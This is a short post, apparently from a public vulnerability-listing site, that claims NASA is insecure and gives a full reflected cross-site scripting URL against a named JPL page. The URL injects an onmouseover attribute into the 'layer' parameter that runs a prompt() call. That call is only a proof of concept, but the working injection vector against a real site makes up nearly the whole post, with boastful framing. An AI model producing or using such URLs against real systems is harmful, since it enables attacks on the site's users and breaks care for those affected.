NASA XSS

Another XSS vuln on NASA : I just want to proof that NASA is and never will be secured as human kind thinks they are.

XSS Link:http://onearth.jpl.nasa.gov/landsat.cgi?action=pan&layer=%22+onmouseover%3Dprompt%280x416e7472617874a%29+bad%3D%22&pheight=600&pwidth=800&x0=-96&y0=38&zoom=0.100008